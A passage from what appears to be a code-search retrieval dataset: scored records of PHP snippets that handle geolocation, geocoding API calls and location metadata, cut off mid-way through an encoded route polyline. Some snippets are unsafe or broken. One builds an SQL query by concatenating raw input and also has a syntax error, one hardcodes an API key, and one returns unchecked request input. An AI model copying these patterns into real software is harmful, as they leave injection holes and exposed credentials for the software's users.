"41d9840bac6ecc161b71777e3f435af5", "score": "0.47937092", "text": "public function getCoordinateAttribute()\n {\n return [\n 'lat' => $this->lat,\n 'long' => $this->long\n ];\n }", "title": "" }, { "docid": "0316a7bec68bdf28b383ed6f40eea25d", "score": "0.47855955", "text": "public function set_current_location() {\n\t\t\t$this->location_id = get_the_ID();\n\t\t\t$meta_data = $this->wpseo_local_locations_repository->get( [ 'id' => $this->location_id ] );\n\n\t\t\t$this->location_meta['business_type'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_type'] : '';\n\t\t\t$this->location_meta['business_address'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_address'] : '';\n\t\t\t$this->location_meta['business_address_2'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_address_2'] : '';\n\t\t\t$this->location_meta['business_city'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_city'] : '';\n\t\t\t$this->location_meta['business_state'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_state'] : '';\n\t\t\t$this->location_meta['business_zipcode'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_zipcode'] : '';\n\t\t\t$this->location_meta['business_country'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_country'] : '';\n\t\t\t$this->location_meta['business_phone'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_phone'] : '';\n\t\t\t$this->location_meta['business_phone_2nd'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_phone_2nd'] : '';\n\t\t\t$this->location_meta['business_fax'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_fax'] : '';\n\t\t\t$this->location_meta['business_email'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_email'] : '';\n\t\t\t$this->location_meta['business_url'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_url'] : '';\n\t\t\t$this->location_meta['business_vat'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_vat'] : '';\n\t\t\t$this->location_meta['business_tax'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_tax'] : '';\n\t\t\t$this->location_meta['business_coc'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_coc'] : '';\n\t\t\t$this->location_meta['business_price_range'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_price_range'] : '';\n\t\t\t$this->location_meta['business_currencies_accepted'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_currencies_accepted'] : '';\n\t\t\t$this->location_meta['business_payment_accepted'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_payment_accepted'] : '';\n\t\t\t$this->location_meta['business_area_served'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_area_served'] : '';\n\t\t\t$this->location_meta['coords']['lat'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['coords']['lat'] : '';\n\t\t\t$this->location_meta['coords']['long'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['coords']['long'] : '';\n\t\t\t$this->location_meta['business_timezone'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_timezone'] : '';\n\t\t\t$this->location_meta['business_logo'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_logo'] : '';\n\t\t\t$this->location_meta['custom_marker'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['custom_marker'] : '';\n\t\t}", "title": "" }, { "docid": "f2248698ca846b0bb11eb11a961b6cb0", "score": "0.47819865", "text": "function buildGeoPosition($equipment)\r\n{\r\n\r\n // Try the connection to MySQL + Select the relevant database\r\n // Make the SQL connection global as soon as possible\r\n $dbc = @mysqli_connect(DB_HOST, DB_USER , DB_PASSWORD) ;\r\n if ($dbc)\r\n {\r\n if(!mysqli_select_db($dbc, DB_NAME))\r\n {\r\n trigger_error(\"Could not select the database!<br>MYSQL Error:\" . mysqli_error($dbc)) ;\r\n exit();\r\n }\r\n }\r\n else\r\n {\r\n trigger_error(\"Could not connect to MySQL!<br>MYSQL Error:\" . mysqli_error($dbc));\r\n exit();\r\n }\r\n\r\n // Get the last position of the scentinel\r\n $query = \"SELECT sample.id AS sample_id, sample.lat, sample.lon\r\n FROM sample\r\n WHERE equipement = \" . $equipment\r\n . \" ORDER BY sampledat DESC LIMIT 1\";\r\n $result = mysqli_query($dbc, $query) or trigger_error(\"Query: $query\\n<br>MySQL Error: \" . mysqli_error($dbc));\r\n $row = mysqli_fetch_array($result, MYSQLI_NUM) ;\r\n $lat = $row[1] ;\r\n $lon = $row[2] ;\r\n \r\n $final_geoposition = '{lat: ' . $lat . ', lng: ' . $lon '};';\r\n \r\n return array($final_geoposition) ;\r\n}", "title": "" }, { "docid": "57d0713a4b00ca4b832b840d024c8244", "score": "0.4769427", "text": "public function test_make_coordinates_2()\n {\n $coord = \"-120,\";\n $dd = \\SimpleMappr\\Mappr::makeCoordinates($coord);\n $this->assertEquals($dd[0], null);\n $this->assertEquals($dd[1], null);\n }", "title": "" }, { "docid": "02c3ccb7f582c6c88ee74519a277ea7a", "score": "0.47665733", "text": "static function fill_places_or_blogs($model, $meta, $current_art){\n $model->location = (array_key_exists('location', $meta)? $meta['location'] : \"\");\n $model->tags = $current_art->sub_category;\n $model->coordinates = (array_key_exists('coordinates', $meta)? $meta['coordinates'] : \"\");\n return $model;\n \n \n }", "title": "" }, { "docid": "613e54bf8deea7dea50b819f0bb07c67", "score": "0.4758958", "text": "function getAndroidLatLong(){return $_GET['latlong'];}", "title": "" }, { "docid": "82f7186ea55f92f04dfafa9b5a52920c", "score": "0.47542304", "text": "public function getLocationAttribute($value)\n {\n return (object) [\n 'lat' => $value->getLat(),\n 'lng' => $value->getLng(),\n ];\n }", "title": "" }, { "docid": "36489a8b28b654499159c053e313484b", "score": "0.47479177", "text": "abstract public function latitude();", "title": "" }, { "docid": "9e5c03b71fd2ae0da5f361efc57d7ae2", "score": "0.47453684", "text": "function yahoo_geo($location) {\n\t\t\t $q = 'http://api.local.yahoo.com/MapsService/V1/geocode';\n\t\t\t $q .= '?appid=pfl8.u7V34GEfJuv0ax_D9TinUyjWlyBS9Z_Pg_g06cxX4WB6k5_6Ze0CcDshtsn&location='.rawurlencode($location);\n\t\t\t $tmp = '/tmp/yws_geo_0'.md5($q);\n\t\t\t if (request_cache($q, $tmp, 432000000)) :\n\t\t\t \tlibxml_use_internal_errors(true);\n\t\t\t\tif (!($xml = @simplexml_load_file($tmp))) :\n\t\t\t\t\t$ret = \"0\";\n\t\t\t\tendif;\n\n\t\t\t\t$ret['precision'] = (string)$xml->Result['precision'];\n\t\t\t\tforeach($xml->Result->children() as $key=>$val) {\n\t\t\t\t if(strlen($val)) $ret[(string)$key] = (string)$val;\n\t\t\t\t} \n\t\t\t\treturn $ret;\n\t\t\t else :\n\t\t\t\t$ret['Longitude'] = 0;\n\t\t\t\t$ret['Latitude'] = 0;\n\t\t\t\treturn 0;\n\t\t\t endif;\n\t\t\t}", "title": "" }, { "docid": "575ae657ab594fbbdf3f845465455af2", "score": "0.47359484", "text": "function add_location( $l ) {\n $is_duplicate = false;\n $locations = get_option( self::$location_key );\n $location = array(\n 'name' => null,\n 'title' => null,\n 'size' => null\n );\n \n $location['name'] = sanitize_title( $l['title'] );\n $location['title'] = sanitize_text_field( $l['title'] );\n $location = array_filter( $location );\n $location['size'] = intval( $l['size'] );\n \n if( count( $location ) == 3 ) {\n // On duplicate, update old location\n for( $i = 0; ( $i < count( $locations ) ) && !$is_duplicate; $i++ )\n if( $locations[$i]['name'] == $location['name'] ) {\n $locations[$i] = $location;\n $is_duplicate = true;\n }\n \n if( !$locations )\n update_option( self::$location_key, array( $location ) );\n else {\n if( !$is_duplicate )\n $locations[] = $location;\n update_option( self::$location_key, $locations );\n }\n return true;\n } else\n return false;\n }", "title": "" }, { "docid": "2a41ebb6668f5d752338a9bcc75df3f3", "score": "0.47340882", "text": "function sharemaps_get_map_default_location_coords() {\n $coords = trim(elgg_get_plugin_setting('default_coords', SHAREMAPS_PLUGIN_ID));\n if (!$coords)\n $coords = SHAREMAPS_DEFAULT_LOCATION_COORDS;\n\n return $coords;\n}", "title": "" }, { "docid": "32508b3d91851e226ac50ac8872e88b2", "score": "0.4731098", "text": "function hasCampusLocation ($con, $formID_array, $roomWithCampusLocation) {\n //SELECT `room_id`, `location` FROM `room`\n\n $getRoom = $con->prepare(\"SELECT room_id, location FROM room\");\n $getRoom->execute();\n $rooms = $getRoom->fetchall();\n\n foreach ($rooms as $array) {\n $thisRoomID = $array[\"room_id\"];\n $thisLocation = $array[\"location\"];\n\n //echo \"roomID: \".$thisRoomID.\" Location: \".$thisLocation;\n }\n }", "title": "" }, { "docid": "366315ad9e502d8b5d0c285ad43d04e2", "score": "0.47211558", "text": "function add_location($locationinfo){\n\t\t$ip=$_SERVER[\"REMOTE_ADDR\"];\n\n\t\t$installationid=$locationinfo[\"installationid\"];\n\t\t$lat=$locationinfo[\"lat\"];\n\t\t$lng=$locationinfo[\"lng\"];\n\t\t$timestamp=$locationinfo[\"timestamp\"];\n\t\t$tsorder=$locationinfo[\"tsorder\"];\n\t\t$bearing=$locationinfo[\"bearing\"];\n\t\t$speed=$locationinfo[\"speed\"];\n\t\t$tripname=$locationinfo[\"tripname\"];\n\t\t$altitude=$locationinfo[\"altitude\"];\n\t\t$accuracy=$locationinfo[\"accuracy\"];\n\t\tif(!empty($locationinfo[\"standalone\"]) && $locationinfo[\"standalone\"]){\n\t\t\t$standalone=1;\n\t\t} else {\n\t\t\t$standalone=0;\n\t\t}\n\t\t\n\t\tif(!empty($locationinfo[\"hidden\"]) && $locationinfo[\"hidden\"]){\n\t\t\t$hidden=1;\n\t\t} else {\n\t\t\t$hidden=0;\n\t\t}\n\t\t\n\t\t$insertquery=\"INSERT INTO gpsdata (installationid,ip,lat,lng,ts,tsorder,bearing,speed,tripname,altitude,accuracy,standalone,hidden)\nVALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)\";\n\t\tif (!($stmt = $this->mysqli->prepare($insertquery)))\n\t\tEgoLib::exit_error(\"db prepare statement failed: \". $mysqli->error);\n\n\t\tif (!$stmt->bind_param(\"ssddiiddsddii\", $installationid,$ip,$lat,$lng,$timestamp,$tsorder,$bearing,$speed,$tripname,$altitude,$accuracy, $standalone,$hidden))\n\t\tEgoLib::exit_error(\"db binding parameters failed:\" . $stmt->error);\n\n\t\tif (!$stmt->execute())\n\t\tEgoLib::exit_error( \"query execute failed: \" . $stmt->error);\n\n\t\t//important: return a unique id for the new location here!\n\t\t$insertid=$this->mysqli->insert_id;\n\t\treturn $insertid;\n\t}", "title": "" }, { "docid": "85ca22ef8770ffb31004e12ac7e3b40a", "score": "0.47182393", "text": "public function test_make_coordinates_0()\n {\n $coord = \"52° 32' 25\\\" N,\";\n $dd = \\SimpleMappr\\Mappr::makeCoordinates($coord);\n $this->assertEquals($dd[0], null);\n $this->assertEquals($dd[1], null);\n }", "title": "" }, { "docid": "e71a1263e3affb053dc2f57620b02ced", "score": "0.47148916", "text": "protected function getLAtLonForLocation($location)\n {\n $ch = curl_init('http://nominatim.openstreetmap.org/search?format=json&q=' . urlencode($location));\n curl_setopt($ch, CURLOPT_TIMEOUT, 2);\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n $info = curl_exec($ch); // get curl response\n curl_close($ch);\n\n try {\n $info = Json::decode($info, Json::TYPE_ARRAY);\n } catch (\\Exception $e) {\n var_Dump($e->getMessage() . \"\\n\\n\" . $e->getTraceAsString());\n return false;\n }\n if (! $info) {\n return false;\n }\n\n return array('lat' => $info[0]['lat'], 'lon' => $info[0]['lon']);\n }", "title": "" }, { "docid": "2c29d78498c7b5b77f8a5f8aa934915b", "score": "0.4709551", "text": "function extract1($trkpt){\n\n $attrs = $trkpt ->attributes();\n\n $lat = (float)$attrs[\"lat\"];\n $lon = (float)$attrs[\"lon\"];\n\n $latInRad = pi() / 180 * $lat;\n\n $lonInRad= pi() / 180 * $lon;\n\n return array((float)$latInRad,(float)$lonInRad);\n\n}", "title": "" }, { "docid": "51f00763e8c594429b840fee05e1aa59", "score": "0.47094285", "text": "public function gps()\n\t{\n\t\t$this->init();\n\t\t$images = $this->provider->getFilesForMonth($this->year, $this->month);\n\n\t\t$placesInBounds = $this->filterByBounds($images->getData());\n//\t\tdebug(count($images), count($placesInBounds));\n\n\t\t$places = array_map(static function (Meta $meta) {\n\t\t\treturn $meta->getAll();\n\t\t}, $placesInBounds);\n\t\treturn json_encode($places, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_THROW_ON_ERROR);\n\t}", "title": "" }, { "docid": "86b8bbbca1701d556942289a5c550c9c", "score": "0.47064862", "text": "function get_lat_long($address){\n\n $address = str_replace(\" \", \"+\", $address);\n\n $json = file_get_contents(\"http://maps.google.com/maps/api/geocode/json?address=$address&sensor=false\");\n $json = json_decode($json);\n\n if((isset($json)) && ($json->{'status'} == \"OK\")){\n\n\n $lat = $json->{'results'}[0]->{'geometry'}->{'location'}->{'lat'}; \n $long = $json->{'results'}[0]->{'geometry'}->{'location'}->{'lng'}; \n \n }else{\n $lat = 44.314844; \n $long = -85.602364; \n }\n \n $response = array('lat'=>$lat,'lng'=>$long);\n return $response;\n\n}", "title": "" }, { "docid": "fb463ba4c5579b30f9da3c94ea03b9ad", "score": "0.4699572", "text": "function mapit_get_voting_areas_by_location($coordinate, $method, $types = null, $generation = null) {\n global $mapit_client;\n $params = func_get_args();\n $result = $mapit_client->call('MaPit.get_voting_areas_by_location', $params);\n return $result;\n}", "title": "" }, { "docid": "7433f9414371bb0f79b585eca133f3e7", "score": "0.4694855", "text": "function cgmp_analyse_address($address) {\r\n \r\n $result['address'] = $address;\r\n $check_comma = explode(',', $address);\r\n $check_comma = array_map('trim', $check_comma);\r\n if (is_numeric($check_comma[0])) {\r\n $result['address'] = NULL;\r\n $result['lat'] = $check_comma[0];\r\n $result['lon'] = $check_comma[1];\r\n }\r\n $check_semicolon = explode(';', $address);\r\n if (is_numeric($check_semicolon[0])) {\r\n $result['address'] = NULL;\r\n $result['lat'] = $check_semicolon[0];\r\n $result['lon'] = $check_semicolon[1];\r\n }\r\n //strpos(trim($check_comma[0]), ' ') !== FALSE\r\n if (( strpos(trim($check_comma[0]),' ') !== FALSE AND (is_numeric(str_replace(' ', '',trim( $check_comma[0])))) ) OR strpos(trim($check_comma[0]), '°') !== FALSE) {\r\n \r\n //check DMS\r\n $directions = array('N', 'W', 'E', 'S', 'n', 'w', 'e', 's');\r\n if (in_array($check_comma[0][0], $directions)) {\r\n $direction = $check_comma[0][0];\r\n }\r\n if($direction == ''){\r\n if(in_array($check_comma[0][strlen($check_comma[0])-1], $directions)){\r\n $direction = $check_comma[0][strlen($check_comma[0])-1];\r\n }\r\n }\r\n \r\n $lat = str_replace($directions, '', $check_comma[0]);\r\n $lat = str_replace('°', ' ', $lat);\r\n $lat = explode(' ', trim($lat));\r\n \r\n $result['lat'] = DMS2Decimal($lat[0], $lat[1], $lat[2], $direction);\r\n \r\n //$lat[0]+((($lat[1]*60)+($lat[2]))/3600);\r\n $direction = '';\r\n if (in_array($check_comma[1][0], $directions)) {\r\n $direction = $check_comma[1][0];\r\n }\r\n if($direction == ''){\r\n if (in_array($check_comma[1][strlen($check_comma[1])-1], $directions)) {\r\n $direction = $check_comma[1][strlen($check_comma[1])-1];\r\n }\r\n }\r\n\r\n\r\n $lon = str_replace($directions, '', $check_comma[1]);\r\n $lon = str_replace('°', ' ', $lon);\r\n $lon = explode(' ', trim($lon));\r\n \r\n\r\n\r\n $result['lon'] = DMS2Decimal($lon[0], $lon[1], $lon[2], $direction);\r\n \r\n $result['address'] = NULL;\r\n }\r\n \r\n return $result;\r\n }", "title": "" }, { "docid": "54d9321a3a323dee6a6ce9c4cbe90b58", "score": "0.46928683", "text": "private function search_location_filter_meta_query() {\n if ( ! empty( $_GET['search_location'] ) ) {\n $location_meta_keys = array( 'geolocation_formatted_address', '_job_location', 'geolocation_state_long' );\n $location_search = array( 'relation' => 'OR' );\n foreach ( $location_meta_keys as $meta_key ) {\n $location_search[] = array(\n 'key' => $meta_key,\n 'value' => $_GET['search_location'],\n 'compare' => 'like'\n );\n }\n\n return $location_search;\n }\n\n return array();\n }", "title": "" }, { "docid": "54d9321a3a323dee6a6ce9c4cbe90b58", "score": "0.46928683", "text": "private function search_location_filter_meta_query() {\n if ( ! empty( $_GET['search_location'] ) ) {\n $location_meta_keys = array( 'geolocation_formatted_address', '_job_location', 'geolocation_state_long' );\n $location_search = array( 'relation' => 'OR' );\n foreach ( $location_meta_keys as $meta_key ) {\n $location_search[] = array(\n 'key' => $meta_key,\n 'value' => $_GET['search_location'],\n 'compare' => 'like'\n );\n }\n\n return $location_search;\n }\n\n return array();\n }", "title": "" }, { "docid": "d0aabf29ddc740c1df48c9e984c53cd4", "score": "0.46888173", "text": "public function getHasCoordinates(){\n\t\treturn ($this->coordinates != '') ? 1:0;\n\t}", "title": "" }, { "docid": "009aea3a0e2ecc13c45dc8fda70fb8ab", "score": "0.46880966", "text": "private function get_location () {\n try {\n // MaxMind GeoIP lookup\n // See: http://maxmind.github.io/GeoIP2-php/\n $reader = new Reader('assets/GeoLite2-City.mmdb');\n $record = $reader->city($_SERVER['REMOTE_ADDR']);\n return [\n 'lat' => $record->location->latitude,\n 'lng' => $record->location->longitude\n ];\n } catch (Exception $e) {\n return false;\n }\n }", "title": "" }, { "docid": "c87e3eed10ac48e1710e112c9139a596", "score": "0.46800816", "text": "function fetchGoogleLatitudeLocation ($user_id) {\n $r = array();\n $google_latitude_data = json_decode(file_get_contents(\"https://www.google.com/latitude/apps/badge/api?user=$user_id&type=json\"));\n $r['longitude'] = $google_latitude_data->features[0]->geometry->coordinates[0];\n $r['latitude'] = $google_latitude_data->features[0]->geometry->coordinates[1];\n $r['current_city'] = $google_latitude_data->features[0]->properties->reverseGeocode;\n $r['last_updated'] = $google_latitude_data->features[0]->properties->timeStamp;\n $r['raw'] = $google_latitude_data; // So that we have it all, if we need it.\n return $r;\n }", "title": "" }, { "docid": "796710b64b0a1afeb6344982713b2089", "score": "0.46652168", "text": "function addPointToPath($newLatLong, $trip) {\n $jsonRouteFilePath = \"cricketTraveledPath.json\";\n $error_msg = \"\";\n $result = false;\n \n //read the old $lat and $long from the $jsonTravelFilePath\n $tripPaths = json_decode(file_get_contents($jsonRouteFilePath)); \n $lastLeg = end($tripPaths->{$trip});\n $lastLatLong = $lastLeg->{\"endLatLong\"};\n $lastid = $lastLeg->{\"id\"};\n \n //get a new encoded path from MapQuestAPI\n $mqString = getMQroute($lastLatLong, $newLatLong);\n if($mqString){\n $mqResult = json_decode($mqString);\n \n //create a new Leg php object\n /* looks like this in json format\n { \n \"id\": 40,\n \"startLatLong\": [ lat ,long]\n \"endLatLong\": [31.9494000, -104.6993000],\n \"distance\": 600.433,\n \"MQencodedPath\": \"}yvwEh_prQFwB??NoK??\\\\iELiDBy@???G?y@@sEAa@??G?kA?E???A`@CrG??BbABlGEnCIjCKnBGnBYjF?xBFvB`@~DRpBNpAFt@H`BDrA@d@C`GAdBGbCAtDAfA?jA?dG?jB?~@?T?xC?`CAbE?~D?pK?`H?~C?vA?`@?L?b@?fA?`D?lC?lC?vA?dB?`H@~K?rHA~B@hH?^?zE?|E?`FBzEH~E@jF?`B?lABnW?|A?fI?|A?nD?|A?zB@jT?xA?h@?xEAjC?rB@bFCxCGdBUvCUhBs@~FWpBa@|CS~AkAhI{@lGS~AGx@[fCeBlM{@nGOpAWxBg@zDoA|JSbCS|BUpFGtCC|D@vD?pBBtLBdI?pBDxL@pKBjHBdBLjI@vEDdQCff@?~A]xb@G|P?tPBd]Gx\\\\E~LA~L?xAArTFfFRhF\\\\`Fb@|EpAtHfB|HhAvDzCzJtIbYjFtPdFhPVz@x@fDj@rDf@fFJ|E?hD?nOBfTAzN@|L?V?tI?rCExBMlCGpEDhBArQ?bA?pHAbI@bICzFAfA@lDClC@vH?jI@`@CvC?rCElBG~G?fTAdRBtL?zJ@t\\\\AlQ?pQ?v_@?|B@|C?jB?`HBrRAvc@@xQ@zPAfd@??^?~a@@??DrALn@tApEVhAPjAFpCJtBBre@lC``CB|B?R|@ds@LtOArS_@lSqAhf@mB`v@YlOSdVD~JP|N|Bfx@Rv`@i@dc@_Ap\\\\IjKGpS@pnA@pc@AtCBte@@|d@?zBKfNq@xJMdAmAdJ}ExR{HpX}HhYsHfXqBtHqEdPwCdLqCnNmA|IkAdKsAhQsBbVoClVqD~VkElVqExTuD`PuO`l@qFfTeGxTgGpU{\\\\ppAeBtIcAhHm@lHYrHGhSF~PApV@|_AHb{BJdZd@j\\\\n@pZZpWBzTObR}@p^[hUIx[D`UA|i@QlQy@db@wAhd@cAv`@UpULtU`@hQd@zODjAzA`h@~@p_@\\\\jT?j\\\\F~N@z`ABrJ?vBFd^Dzi@E~L[|Oq@`LsAbMsJpv@mMjbAoI~m@eAxIeEd\\\\yC~Ts@vJUlJPdIp@tIpA~HnBtItCxHx]rs@lXdj@~GfNrC`G|AvDz@~B|@tCnBdIrArHdAxJ^vGNtHEfFOxGk@zIUpBy@`GsBdMiXndBu@jFgAjKc@rG]bHO`HG|NCt|@AtV?hAAv_@C`NEzwA@nGIdgA?fAAzXQtNOdISlIWvHI~GE`I@pFLdL`@|NPhLD~CHhLGv}CQpY]pVCtM?dIXhWPd[Adu@AdSMvrHOvN[zM_@tIo@zKg@|Fu@hIo@zFuAlKgB~KO`A_Hba@{BfN}CxQqAzIe@tDiAtKaA|M]vGc@pMMpJErHBhVBpe@@lA@~p@?~A@xUCbKB~^ApO@zn@G~lCBfgBA~M@lEAnYBtGCdDBb]BfE?|d@CvDBdFC`HDvT@b`@B~DTdERfBh@rDh@`Cz@pCtB`FzAnCxHrMjM|SvDlFtBdCjAlA\\\\TtE|D|CrCzF~E~@r@rBrBpBhCdAbBfBfD~@fCp@vB\\\\nAZbBj@dEPxBJhCHpHBtSA|V@~A?`PDzHN|JDlBl@zKR~C|@jK~@`L^nGH`EB~FK|GGtAUjEqC`[mA|Nw@hNOjEOzIK|z@?dr@EpMMjdC?xAc@t{D?hSGn]DlIJ`HXbINvCf@tGVlC`A`JtAfJnDxSt@rEvGp_@hEbWv@jE|@bHt@fHb@`Gb@vJTbIHzK@fSAfk@Exo@C~CBzNMdsDRpLXjHj@rIV`Cx@hHb@~CnArHRl@l@dCn@rC|@zCt@dCnBdGnCvHpAdD~@rCfAtC`E~KrGdQnArDbF`NhArCxU|o@lDnJzDdLfAbEp@rCj@vC`@dCd@rD\\\\xDRpCVvFDfD@|EItEeAx\\\\QdFMdFGnECrEBdHLxH^rJZxE`@tFvAvMbAbJl@fF^fDdD`ZrBpQjD`[TxB\\\\fD~AbNbBdLhCjLt@|CtBdHxAlEhDvIjDrHHPfD`GrBdDvGfJvFrH|EfHzEbIpC~FhC|F|@~BvD~KzBrIpAvFx@rEHVz@dFhA|In@zHNbCLpARdETtHF|FE~_B?pU?bB?rUCb]?npAE`KAfj@Cv~A@|IClM@rXA~ZBjENjFN`DRjCp@lG~@bGXpAZzA|@tDfD|KbA|ChEhMhXvy@fAtCzEjLhB|DlEfIvCvExEbHxApBnG|HtI~J`HlIpAxAp@n@fDfEhFfGvBfCfAjAhAxA~DtEp@|@vCfD|InKdAhArAbBdF~FdFfGtAxAnHdJlCrDjEpG~@zApDtGf@hAj@`AzCvGrB~Er@hBzCdJxAzEjCvJ|@~DdAlFbBlKjEp]^pEf@rEdBfMb@vDrBhLhAlFbC~JlAtEdEvLxBvFfDvHzBtElU~c@xCbGzPn\\\\vGzMdBfEv@jBfCnHh@jBx@rChBhHrAhG`AdGdAbId@~D`@nE`@dGZhHNnG@tI@vnB@nTAlo@KbHQfDc@lF_@rDc@zCcApFy@jDwBnI{B`Ie@lBuBrI}@dEm@hDeAfHe@`Ey@~IWtFGnBMdJ@nIFdEBx@FdCNhCl@jIZ`DZlCbAnHx@|DR~@jAnFx@|C|EnOfAxDrBdJ|@dGVnBd@|FPhDLjEDh_@NzqBDvgACtILvlBDbEPbFLdB\\\\`ED`@~@~G\\\\fBl@jCh@rBbCnIrArDxAjDpDnG|A~BjA`B|DtEj@p@pMpMj@h@rD~DtHtHpCvCrJxJb@d@~TtUlMtMz@~@jd@ne@jKnKrDxD`DlDzD|DzAbBrBhCdCnDdAbBzBfEdA~B~@|Bz@`C`AvClAxE^dB`AzEXdBl@rFb@xFNpCFfBDnC?|PAlHBdz@CvK@hKAfb@KfJChJIdFEdHu@dWGtDOjDO|EUvKCzAG~ECrECxE@tIFdHL|G\\\\tKh@hSLrDR~LVjTBrG@xIBxGArODv\\\\?rkB?nSAjAB~GC|GDpFn@xI^`CnAxE`AzC`D|HbBxDpFnLtBlErQpa@bBfEbBxDxLdXz@vBrHjPrQva@pFvLbDjGfCjEzSp\\\\tWha@lDvFzEnHnIdMhBdDnEvIpGhNrBzEfCnFtGdOdChFtCzGrClGnHtPdDfHtg@jiAfAdC|CtF|CnFfHvKhB`CpD`Fn@t@dC~BxNzL`OrLdDfCpYpU|PbNfG`EvChBvC`BtIfEbGlCbA^xAl@zCfAjElAxBp@`Dx@`Dr@jI`BpEv@zGtAtH`Bf]fHvFlArPbD~KbClAVdF~@|RhErBd@tQnDdIjBlGjA~PlDlHdBfFbBxD|A`EhBvDlBjAr@vCjB~EvDhGfF`CdClBtBvClDxCdElDtFxCtFlBbE~ArDlCnHXz@x@jCbBfGfBhIf@pCn@vEp@pEv@lINvBVdEJpDJlF@fHGloBEfJO~rDDzI^bRb@xMj@hLjApPj@xGn@rG~@hI~@rHjAdIfAjHzAdIbBhIlCfLxEnR`ChIzCjJrBvFrB|FlCjHbDtHjL|Vz@rBvJvSpCrG~BzExIzRj@pApHnOxApDrHxOvHnPr@hBhAzBnIxQpDdIpB~EtAhDzBhG~BjH~BbI`BtGdBrH|@vEzA~I~@|FjApJr@rH|@~Kb@bI\\\\jIH|FFbHBpEElJF~bAFvPPtQPxKNfGv@tVd@xMJpAdAzTnArTdAzTPrDtB``@~Ah\\\\x@bXh@nWLjJNxX?bZEzZEh[?hC?vSAnBQveD@zKE|UApV?dACbQK|CS|JSzG_@fJgAbR]hDq@dIgArKyPpxA]xDkA|Og@|J]dIOxEQpNErRN`MRhGx@lRbSfrCr@~Jv@bMJjBnAbVBzBl@rQNjGJnMJvpAA`IBrlABf]Aj\\\\FpcC?fxACjJ?|BCjzGEf}@Bjm@EfrBEft@Bxg@CjqBPr}CIpGMdGItBSzCWzC[xC_@vC[xAo@jF}Mr_AoDbWO`BYzEQbFExCAtCBlDRtGhA`QbBtYz@tMPfDr@tKXhFp@jKjBzXz@`Lb@vGV~DzCda@^zFz@fL^hHJ`EDjJ@dYCve@IxOCv[?buAGzTAhfABdMCfFBj^@`JDvb@Ilc@O~EUnBg@rDgBfLUfDiEzjAgAf[E~B?tBD|BPvD\\\\dFXrBh@rC`AdEfCzJvA|GTxATjCN`DB`A@xGC~cAOfh@GpH?tDCvHBvHAxh@F`UHxHJxQ?jQAzX?l^?pZDnf@Ad}@Uxm@EnYJ~j@LbRBtU?jqACva@BdXC`WAd_@Sh^?z]F|LNnHR~Nb@lVDnNE`IAnn@A`r@N|tBFtYDhy@@bE?tGMlM]fSOhHClCEl_@@xICby@GhF[|G[`EoBvYSzCiD|d@s@zKI|E?~F\\\\fJp@dG^zBh@xCf}@bgEnAlH\\\\xCXzCRzCN|CxKdoCnBvf@|A`_@lAj\\\\|Ab^HdD?dDMvFUdDI|@cBtM_DvSa@bEGbAKxCGrD@hw@@nBNtCR~CPbBp@|EbCvOvCpRt@hFd@~Ej@lHJfKA`DIvFItBOvB[tD{@fHoF|ZgA|GY|CSzDC|ADfEFbCj@xF|@rE`@bBnApDr@dBx@`BxB`Dt@bAvDtD|ErEfFnErFhGlA`BlBtC~DnHxAdDjBfFt@pCxF`Qh@`BbFdPb@rAhCbGfA`CjBhDtAzB~DrFxBpCfL~NtNrR`AlAbNxPdB~BxD`GrBjEz@jBhOd^zNv]hLhXvCfJd@lB~AjIf@rDr@zHXdEPnGClJIrCcAbNaBzOeAbK_Fdd@k@`GqBfYqDbf@a@|FYlGKtEA~ADlGP`Fp@zJd@xDNbAp@xDl@xCz@tDx@pCxBtI~Hf[XpAjAlJl@xFZbN@rNGl[[`G_A|Jg@rDwBtLeBnHw@jDoFpW[tBSdBe@nEMzAMlBSlGIpYD`LGfVEtwDH||@Sv{@?dSRxIf@vJRfChChYdCnWPdCL|BF~BB~B?`CA~BI~B{Czr@u@~OGl@EvAWnEo@hOyCvq@O|BSzBaHdp@sJn_AgS`nBqFli@_UrwBe@|Dw@dFSbAkAjFgA~D{AxEwBlFwDtGu@dAkFrHsOnRkAvAeLdOqAnBoBvCeEdHaDhGuHzO}@nBcL`V{AxDiB`Gc@jBc@rBe@rCc@zD]fDE`AQlEChE?xDJvD\\\\hFjA~KXhChFhf@~@~HxGpm@tGnl@XxBv@xHn@fI^|F`@bLF|DJjJCt}ACdr@Alt@Cx{@@lUEdy@Aje@EzPGpB]fHM|EEdEBjGH~Df@vLDvC?ru@A~{A@lVArS?tkBCva@CrmB@p]GhmBErsFOfH_@lGk@xFIf@}@xFw@|DwAjFuJ`\\\\qPdk@cBnFoEnOkDhLqOxh@qEjOuAfFy@pD]dBy@rFc@rDOfBOlBObDG~AGjD@jx@RhcD@ff@C|g@L~eBJvzBAfh@@bh@FpSHlFHp\\\\FfLJv`@~@||CFnb@?nLFjp@\\\\zvCOvm@Q|jA^lHr@|Er@|Cx@jChAnCbDxFry@z